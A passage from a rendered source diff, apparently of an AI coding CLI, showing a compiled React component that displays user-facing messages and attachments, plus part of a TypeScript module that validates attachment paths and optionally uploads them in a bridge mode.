<Text color="text">{BLACK_CIRCLE}</Text>
|
| 30 |
+
</Box>
|
| 31 |
+
<Box flexDirection="column">
|
| 32 |
+
{output.message ? <Markdown>{output.message}</Markdown> : null}
|
| 33 |
+
<AttachmentList attachments={output.attachments} />
|
| 34 |
+
</Box>
|
| 35 |
+
</Box>;
|
| 36 |
+
}
|
| 37 |
+
|
| 38 |
+
// Brief-only (chat) view: "Claude" label + 2-col indent, matching the "You"
|
| 39 |
+
// label UserPromptMessage applies to user input (#20889). The "N in background"
|
| 40 |
+
// spinner status lives in BriefSpinner (Spinner.tsx) — stateless label here.
|
| 41 |
+
if (options?.isBriefOnly) {
|
| 42 |
+
const ts = output.sentAt ? formatBriefTimestamp(output.sentAt) : '';
|
| 43 |
+
return <Box flexDirection="column" marginTop={1} paddingLeft={2}>
|
| 44 |
+
<Box flexDirection="row">
|
| 45 |
+
<Text color="briefLabelClaude">Claude</Text>
|
| 46 |
+
{ts ? <Text dimColor> {ts}</Text> : null}
|
| 47 |
+
</Box>
|
| 48 |
+
<Box flexDirection="column">
|
| 49 |
+
{output.message ? <Markdown>{output.message}</Markdown> : null}
|
| 50 |
+
<AttachmentList attachments={output.attachments} />
|
| 51 |
+
</Box>
|
| 52 |
+
</Box>;
|
| 53 |
+
}
|
| 54 |
+
|
| 55 |
+
// Default view: dropTextInBriefTurns (Messages.tsx) hides the redundant
|
| 56 |
+
// assistant text that would otherwise precede this — SendUserMessage is the
|
| 57 |
+
// only text-like content in its turn. No gutter mark; read as plain text.
|
| 58 |
+
// userFacingName() returns '' so UserToolSuccessMessage drops its columns-5
|
| 59 |
+
// width constraint and AssistantToolUseMessage renders null (no tool chrome).
|
| 60 |
+
// Empty minWidth={2} box mirrors AssistantTextMessage's ⏺ gutter spacing.
|
| 61 |
+
return <Box flexDirection="row" marginTop={1}>
|
| 62 |
+
<Box minWidth={2} />
|
| 63 |
+
<Box flexDirection="column">
|
| 64 |
+
{output.message ? <Markdown>{output.message}</Markdown> : null}
|
| 65 |
+
<AttachmentList attachments={output.attachments} />
|
| 66 |
+
</Box>
|
| 67 |
+
</Box>;
|
| 68 |
+
}
|
| 69 |
+
type AttachmentListProps = {
|
| 70 |
+
attachments: Output['attachments'];
|
| 71 |
+
};
|
| 72 |
+
export function AttachmentList(t0) {
|
| 73 |
+
const $ = _c(4);
|
| 74 |
+
const {
|
| 75 |
+
attachments
|
| 76 |
+
} = t0;
|
| 77 |
+
if (!attachments || attachments.length === 0) {
|
| 78 |
+
return null;
|
| 79 |
+
}
|
| 80 |
+
let t1;
|
| 81 |
+
if ($[0] !== attachments) {
|
| 82 |
+
t1 = attachments.map(_temp);
|
| 83 |
+
$[0] = attachments;
|
| 84 |
+
$[1] = t1;
|
| 85 |
+
} else {
|
| 86 |
+
t1 = $[1];
|
| 87 |
+
}
|
| 88 |
+
let t2;
|
| 89 |
+
if ($[2] !== t1) {
|
| 90 |
+
t2 = <Box flexDirection="column" marginTop={1}>{t1}</Box>;
|
| 91 |
+
$[2] = t1;
|
| 92 |
+
$[3] = t2;
|
| 93 |
+
} else {
|
| 94 |
+
t2 = $[3];
|
| 95 |
+
}
|
| 96 |
+
return t2;
|
| 97 |
+
}
|
| 98 |
+
function _temp(att) {
|
| 99 |
+
return <Box key={att.path} flexDirection="row"><Text dimColor={true}>{figures.pointerSmall} {att.isImage ? "[image]" : "[file]"}{" "}</Text><Text>{getDisplayPath(att.path)}</Text><Text dimColor={true}> ({formatFileSize(att.size)})</Text></Box>;
|
| 100 |
+
}
|
| 101 |
+
//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJuYW1lcyI6WyJmaWd1cmVzIiwiUmVhY3QiLCJNYXJrZG93biIsIkJMQUNLX0NJUkNMRSIsIkJveCIsIlRleHQiLCJQcm9ncmVzc01lc3NhZ2UiLCJnZXREaXNwbGF5UGF0aCIsImZvcm1hdEZpbGVTaXplIiwiZm9ybWF0QnJpZWZUaW1lc3RhbXAiLCJPdXRwdXQiLCJyZW5kZXJUb29sVXNlTWVzc2FnZSIsIlJlYWN0Tm9kZSIsInJlbmRlclRvb2xSZXN1bHRNZXNzYWdlIiwib3V0cHV0IiwiX3Byb2dyZXNzTWVzc2FnZXMiLCJvcHRpb25zIiwiaXNUcmFuc2NyaXB0TW9kZSIsImlzQnJpZWZPbmx5IiwiaGFzQXR0YWNobWVudHMiLCJhdHRhY2htZW50cyIsImxlbmd0aCIsIm1lc3NhZ2UiLCJ0cyIsInNlbnRBdCIsIkF0dGFjaG1lbnRMaXN0UHJvcHMiLCJBdHRhY2htZW50TGlzdCIsInQwIiwiJCIsIl9jIiwidDEiLCJtYXAiLCJfdGVtcCIsInQyIiwiYXR0IiwicGF0aCIsInBvaW50ZXJTbWFsbCIsImlzSW1hZ2UiLCJzaXplIl0sInNvdXJjZXMiOlsiVUkudHN4Il0sInNvdXJjZXNDb250ZW50IjpbImltcG9ydCBmaWd1cmVzIGZyb20gJ2ZpZ3VyZXMnXG5pbXBvcnQgUmVhY3QgZnJvbSAncmVhY3QnXG5pbXBvcnQgeyBNYXJrZG93biB9IGZyb20gJy4uLy4uL2NvbXBvbmVudHMvTWFya2Rvd24uanMnXG5pbXBvcnQgeyBCTEFDS19DSVJDTEUgfSBmcm9tICcuLi8uLi9jb25zdGFudHMvZmlndXJlcy5qcydcbmltcG9ydCB7IEJveCwgVGV4dCB9IGZyb20gJy4uLy4uL2luay5qcydcbmltcG9ydCB0eXBlIHsgUHJvZ3Jlc3NNZXNzYWdlIH0gZnJvbSAnLi4vLi4vdHlwZXMvbWVzc2FnZS5qcydcbmltcG9ydCB7IGdldERpc3BsYXlQYXRoIH0gZnJvbSAnLi4vLi4vdXRpbHMvZmlsZS5qcydcbmltcG9ydCB7IGZvcm1hdEZpbGVTaXplIH0gZnJvbSAnLi4vLi4vdXRpbHMvZm9ybWF0LmpzJ1xuaW1wb3J0IHsgZm9ybWF0QnJpZWZUaW1lc3RhbXAgfSBmcm9tICcuLi8uLi91dGlscy9mb3JtYXRCcmllZlRpbWVzdGFtcC5qcydcbmltcG9ydCB0eXBlIHsgT3V0cHV0IH0gZnJvbSAnLi9CcmllZlRvb2wuanMnXG5cbmV4cG9ydCBmdW5jdGlvbiByZW5kZXJUb29sVXNlTWVzc2FnZSgpOiBSZWFjdC5SZWFjdE5vZGUge1xuICByZXR1cm4gJydcbn1cblxuZXhwb3J0IGZ1bmN0aW9uIHJlbmRlclRvb2xSZXN1bHRNZXNzYWdlKFxuICBvdXRwdXQ6IE91dHB1dCxcbiAgX3Byb2dyZXNzTWVzc2FnZXM6IFByb2dyZXNzTWVzc2FnZVtdLFxuICBvcHRpb25zPzoge1xuICAgIGlzVHJhbnNjcmlwdE1vZGU/OiBib29sZWFuXG4gICAgaXNCcmllZk9ubHk/OiBib29sZWFuXG4gIH0sXG4pOiBSZWFjdC5SZWFjdE5vZGUge1xuICBjb25zdCBoYXNBdHRhY2htZW50cyA9IChvdXRwdXQuYXR0YWNobWVudHM/Lmxlbmd0aCA/PyAwKSA+IDBcbiAgaWYgKCFvdXRwdXQubWVzc2FnZSAmJiAhaGFzQXR0YWNobWVudHMpIHtcbiAgICByZXR1cm4gbnVsbFxuICB9XG5cbiAgLy8gSW4gdHJhbnNjcmlwdCBtb2RlIChjdHJsK28pLCBtb2RlbCB0ZXh0IGlzIE5PVCBmaWx0ZXJlZCDigJQga2VlcCB0aGUg4o+6IHNvXG4gIC8vIFNlbmRVc2VyTWVzc2FnZSBpcyB2aXN1YWxseSBkaXN0aW5jdCBmcm9tIHRoZSBzdXJyb3VuZGluZyB0ZXh0IGJsb2Nrcy5cbiAgaWYgKG9wdGlvbnM/LmlzVHJhbnNjcmlwdE1vZGUpIHtcbiAgICByZXR1cm4gKFxuICAgICAgPEJveCBmbGV4RGlyZWN0aW9uPVwicm93XCIgbWFyZ2luVG9wPXsxfT5cbiAgICAgICAgPEJveCBtaW5XaWR0aD17Mn0+XG4gICAgICAgICAgPFRleHQgY29sb3I9XCJ0ZXh0XCI+e0JMQUNLX0NJUkNMRX08L1RleHQ+XG4gICAgICAgIDwvQm94PlxuICAgICAgICA8Qm94IGZsZXhEaXJlY3Rpb249XCJjb2x1bW5cIj5cbiAgICAgICAgICB7b3V0cHV0Lm1lc3NhZ2UgPyA8TWFya2Rvd24+e291dHB1dC5tZXNzYWdlfTwvTWFya2Rvd24+IDogbnVsbH1cbiAgICAgICAgICA8QXR0YWNobWVudExpc3QgYXR0YWNobWVudHM9e291dHB1dC5hdHRhY2htZW50c30gLz5cbiAgICAgICAgPC9Cb3g+XG4gICAgICA8L0JveD5cbiAgICApXG4gIH1cblxuICAvLyBCcmllZi1vbmx5IChjaGF0KSB2aWV3OiBcIkNsYXVkZVwiIGxhYmVsICsgMi1jb2wgaW5kZW50LCBtYXRjaGluZyB0aGUgXCJZb3VcIlxuICAvLyBsYWJlbCBVc2VyUHJvbXB0TWVzc2FnZSBhcHBsaWVzIHRvIHVzZXIgaW5wdXQgKCMyMDg4OSkuIFRoZSBcIk4gaW4gYmFja2dyb3VuZFwiXG4gIC8vIHNwaW5uZXIgc3RhdHVzIGxpdmVzIGluIEJyaWVmU3Bpbm5lciAoU3Bpbm5lci50c3gpIOKAlCBzdGF0ZWxlc3MgbGFiZWwgaGVyZS5cbiAgaWYgKG9wdGlvbnM/LmlzQnJpZWZPbmx5KSB7XG4gICAgY29uc3QgdHMgPSBvdXRwdXQuc2VudEF0ID8gZm9ybWF0QnJpZWZUaW1lc3RhbXAob3V0cHV0LnNlbnRBdCkgOiAnJ1xuICAgIHJldHVybiAoXG4gICAgICA8Qm94IGZsZXhEaXJlY3Rpb249XCJjb2x1bW5cIiBtYXJnaW5Ub3A9ezF9IHBhZGRpbmdMZWZ0PXsyfT5cbiAgICAgICAgPEJveCBmbGV4RGlyZWN0aW9uPVwicm93XCI+XG4gICAgICAgICAgPFRleHQgY29sb3I9XCJicmllZkxhYmVsQ2xhdWRlXCI+Q2xhdWRlPC9UZXh0PlxuICAgICAgICAgIHt0cyA/IDxUZXh0IGRpbUNvbG9yPiB7dHN9PC9UZXh0PiA6IG51bGx9XG4gICAgICAgIDwvQm94PlxuICAgICAgICA8Qm94IGZsZXhEaXJlY3Rpb249XCJjb2x1bW5cIj5cbiAgICAgICAgICB7b3V0cHV0Lm1lc3NhZ2UgPyA8TWFya2Rvd24+e291dHB1dC5tZXNzYWdlfTwvTWFya2Rvd24+IDogbnVsbH1cbiAgICAgICAgICA8QXR0YWNobWVudExpc3QgYXR0YWNobWVudHM9e291dHB1dC5hdHRhY2htZW50c30gLz5cbiAgICAgICAgPC9Cb3g+XG4gICAgICA8L0JveD5cbiAgICApXG4gIH1cblxuICAvLyBEZWZhdWx0IHZpZXc6IGRyb3BUZXh0SW5CcmllZlR1cm5zIChNZXNzYWdlcy50c3gpIGhpZGVzIHRoZSByZWR1bmRhbnRcbiAgLy8gYXNzaXN0YW50IHRleHQgdGhhdCB3b3VsZCBvdGhlcndpc2UgcHJlY2VkZSB0aGlzIOKAlCBTZW5kVXNlck1lc3NhZ2UgaXMgdGhlXG4gIC8vIG9ubHkgdGV4dC1saWtlIGNvbnRlbnQgaW4gaXRzIHR1cm4uIE5vIGd1dHRlciBtYXJrOyByZWFkIGFzIHBsYWluIHRleHQuXG4gIC8vIHVzZXJGYWNpbmdOYW1lKCkgcmV0dXJucyAnJyBzbyBVc2VyVG9vbFN1Y2Nlc3NNZXNzYWdlIGRyb3BzIGl0cyBjb2x1bW5zLTVcbiAgLy8gd2lkdGggY29uc3RyYWludCBhbmQgQXNzaXN0YW50VG9vbFVzZU1lc3NhZ2UgcmVuZGVycyBudWxsIChubyB0b29sIGNocm9tZSkuXG4gIC8vIEVtcHR5IG1pbldpZHRoPXsyfSBib3ggbWlycm9ycyBBc3Npc3RhbnRUZXh0TWVzc2FnZSdzIOKPuiBndXR0ZXIgc3BhY2luZy5cbiAgcmV0dXJuIChcbiAgICA8Qm94IGZsZXhEaXJlY3Rpb249XCJyb3dcIiBtYXJnaW5Ub3A9ezF9PlxuICAgICAgPEJveCBtaW5XaWR0aD17Mn0gLz5cbiAgICAgIDxCb3ggZmxleERpcmVjdGlvbj1cImNvbHVtblwiPlxuICAgICAgICB7b3V0cHV0Lm1lc3NhZ2UgPyA8TWFya2Rvd24+e291dHB1dC5tZXNzYWdlfTwvTWFya2Rvd24+IDogbnVsbH1cbiAgICAgICAgPEF0dGFjaG1lbnRMaXN0IGF0dGFjaG1lbnRzPXtvdXRwdXQuYXR0YWNobWVudHN9IC8+XG4gICAgICA8L0JveD5cbiAgICA8L0JveD5cbiAgKVxufVxuXG50eXBlIEF0dGFjaG1lbnRMaXN0UHJvcHMgPSB7XG4gIGF0dGFjaG1lbnRzOiBPdXRwdXRbJ2F0dGFjaG1lbnRzJ11cbn1cblxuZXhwb3J0IGZ1bmN0aW9uIEF0dGFjaG1lbnRMaXN0KHtcbiAgYXR0YWNobWVudHMsXG59OiBBdHRhY2htZW50TGlzdFByb3BzKTogUmVhY3QuUmVhY3ROb2RlIHtcbiAgaWYgKCFhdHRhY2htZW50cyB8fCBhdHRhY2htZW50cy5sZW5ndGggPT09IDApIHtcbiAgICByZXR1cm4gbnVsbFxuICB9XG4gIHJldHVybiAoXG4gICAgPEJveCBmbGV4RGlyZWN0aW9uPVwiY29sdW1uXCIgbWFyZ2luVG9wPXsxfT5cbiAgICAgIHthdHRhY2htZW50cy5tYXAoYXR0ID0+IChcbiAgICAgICAgPEJveCBrZXk9e2F0dC5wYXRofSBmbGV4RGlyZWN0aW9uPVwicm93XCI+XG4gICAgICAgICAgPFRleHQgZGltQ29sb3I+XG4gICAgICAgICAgICB7ZmlndXJlcy5wb2ludGVyU21hbGx9IHthdHQuaXNJbWFnZSA/ICdbaW1hZ2VdJyA6ICdbZmlsZV0nfXsnICd9XG4gICAgICAgICAgPC9UZXh0PlxuICAgICAgICAgIDxUZXh0PntnZXREaXNwbGF5UGF0aChhdHQucGF0aCl9PC9UZXh0PlxuICAgICAgICAgIDxUZXh0IGRpbUNvbG9yPiAoe2Zvcm1hdEZpbGVTaXplKGF0dC5zaXplKX0pPC9UZXh0PlxuICAgICAgICA8L0JveD5cbiAgICAgICkpfVxuICAgIDwvQm94PlxuICApXG59XG4iXSwibWFwcGluZ3MiOiI7QUFBQSxPQUFPQSxPQUFPLE1BQU0sU0FBUztBQUM3QixPQUFPQyxLQUFLLE1BQU0sT0FBTztBQUN6QixTQUFTQyxRQUFRLFFBQVEsOEJBQThCO0FBQ3ZELFNBQVNDLFlBQVksUUFBUSw0QkFBNEI7QUFDekQsU0FBU0MsR0FBRyxFQUFFQyxJQUFJLFFBQVEsY0FBYztBQUN4QyxjQUFjQyxlQUFlLFFBQVEsd0JBQXdCO0FBQzdELFNB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
|
src/tools/BriefTool/attachments.ts
ADDED
|
@@ -0,0 +1,110 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
/**
|
| 2 |
+
* Shared attachment validation + resolution for SendUserMessage and
|
| 3 |
+
* SendUserFile. Lives in BriefTool/ so the dynamic `./upload.js` import
|
| 4 |
+
* inside the feature('BRIDGE_MODE') guard stays relative and upload.ts
|
| 5 |
+
* (axios, crypto, auth utils) remains tree-shakeable from non-bridge builds.
|
| 6 |
+
*/
|
| 7 |
+
|
| 8 |
+
import { feature } from 'bun:bundle'
|
| 9 |
+
import { stat } from 'fs/promises'
|
| 10 |
+
|
| 11 |
+
import type { ValidationResult } from '../../Tool.js'
|
| 12 |
+
|
| 13 |
+
import { getCwd } from '../../utils/cwd.js'
|
| 14 |
+
import { isEnvTruthy } from '../../utils/envUtils.js'
|
| 15 |
+
import { getErrnoCode } from '../../utils/errors.js'
|
| 16 |
+
import { IMAGE_EXTENSION_REGEX } from '../../utils/imagePaste.js'
|
| 17 |
+
import { expandPath } from '../../utils/path.js'
|
| 18 |
+
|
| 19 |
+
export type ResolvedAttachment = {
|
| 20 |
+
path: string
|
| 21 |
+
size: number
|
| 22 |
+
isImage: boolean
|
| 23 |
+
file_uuid?: string
|
| 24 |
+
}
|
| 25 |
+
|
| 26 |
+
export async function validateAttachmentPaths(
|
| 27 |
+
rawPaths: string[],
|
| 28 |
+
): Promise<ValidationResult> {
|
| 29 |
+
const cwd = getCwd()
|
| 30 |
+
for (const rawPath of rawPaths) {
|
| 31 |
+
const fullPath = expandPath(rawPath)
|
| 32 |
+
try {
|
| 33 |
+
const stats = await stat(fullPath)
|
| 34 |
+
if (!stats.isFile()) {
|
| 35 |
+
return {
|
| 36 |
+
result: false,
|
| 37 |
+
message: `Attachment "${rawPath}" is not a regular file.`,
|
| 38 |
+
errorCode: 1,
|
| 39 |
+
}
|
| 40 |
+
}
|
| 41 |
+
} catch (e) {
|
| 42 |
+
const code = getErrnoCode(e)
|
| 43 |
+
if (code === 'ENOENT') {
|
| 44 |
+
return {
|
| 45 |
+
result: false,
|
| 46 |
+
message: `Attachment "${rawPath}" does not exist. Current working directory: ${cwd}.`,
|
| 47 |
+
errorCode: 1,
|
| 48 |
+
}
|
| 49 |
+
}
|
| 50 |
+
if (code === 'EACCES' || code === 'EPERM') {
|
| 51 |
+
return {
|
| 52 |
+
result: false,
|
| 53 |
+
message: `Attachment "${rawPath}" is not accessible (permission denied).`,
|
| 54 |
+
errorCode: 1,
|
| 55 |
+
}
|
| 56 |
+
}
|
| 57 |
+
throw e
|
| 58 |
+
}
|
| 59 |
+
}
|
| 60 |
+
return { result: true }
|
| 61 |
+
}
|
| 62 |
+
|
| 63 |
+
export async function resolveAttachments(
|
| 64 |
+
rawPaths: string[],
|
| 65 |
+
uploadCtx: { replBridgeEnabled: boolean; signal?: AbortSignal },
|
| 66 |
+
): Promise<ResolvedAttachment[]> {
|
| 67 |
+
// Stat serially (local, fast) to keep ordering deterministic, then upload
|
| 68 |
+
// in parallel (network, slow). Upload failures resolve undefined — the
|
| 69 |
+
// attachment still carries {path, size, isImage} for local renderers.
|
| 70 |
+
const stated: ResolvedAttachment[] = []
|
| 71 |
+
for (const rawPath of rawPaths) {
|
| 72 |
+
const fullPath = expandPath(rawPath)
|
| 73 |
+
// Single stat — we need size, so this is the operation, not a guard.
|
| 74 |
+
// validateInput ran before us, but the file could have moved since
|
| 75 |
+
// (TOCTOU); if it did, let the error propagate so the model sees it.
|
| 76 |
+
const stats = await stat(fullPath)
|
| 77 |
+
stated.push({
|
| 78 |
+
path: fullPath,
|
| 79 |
+
size: stats.size,
|
| 80 |
+
isImage: IMAGE_EXTENSION_REGEX.test(fullPath),
|
| 81 |
+
})
|
| 82 |
+
}
|
| 83 |
+
// Dynamic import inside the feature() guard so upload.ts (axios, crypto,
|
| 84 |
+
// zod, auth utils, MIME map) is fully eliminated from non-BRIDGE_MODE
|
| 85 |
+
// builds. A static import would force module-scope evaluation regardless
|
| 86 |
+
// of the guard inside uploadBriefAttachment — CLAUDE.md: "helpers defined
|
| 87 |
+
// outside remain in the build even if never called".
|
| 88 |
+
if (feature('BRIDGE_MODE')) {
|
| 89 |
+
// Headless/SDK callers never set appState.replBridgeEnabled (only the TTY
|
| 90 |
+
// REPL does, at main.tsx init). CLAUDE_CODE_BRIEF_UPLOAD lets a host that
|
| 91 |
+
// runs the CLI as a subprocess opt in — e.g. the cowork desktop bridge,
|
| 92 |
+
// which already passes CLAUDE_CODE_OAUTH_TOKEN for auth.
|
| 93 |
+
const shouldUpload =
|
| 94 |
+
uploadCtx.replBridgeEnabled ||
|
| 95 |
+
isEnvTruthy(process.env.CLAUDE_CODE_BRIEF_UPLOAD)
|
| 96 |
+
const { uploadBriefAttachment } = await import('./upload.js')
|
| 97 |
+
const uuids = await Promise.all(
|
| 98 |
+
stated.map(a =>
|
| 99 |
+
